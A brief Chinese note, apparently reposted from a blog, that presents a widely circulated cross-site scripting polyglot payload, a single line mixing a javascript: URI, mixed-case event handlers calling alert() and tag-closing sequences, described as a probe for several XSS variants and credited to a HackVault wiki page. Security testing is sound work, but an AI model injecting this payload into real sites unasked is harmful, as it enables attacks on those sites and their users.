我超怕的----https:////www.cnblogs.com/iAmSoScArEd/p/12335123.html
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>x3csVg/<sVg/oNloAd=alert()//>x3e
拿着这个Payload可检测大小写、注释、DOM等多种类型XSS
From:https://github.com/0xsobky/HackVault/wiki/Unleashing-an-Ultimate-XSS-Polyglot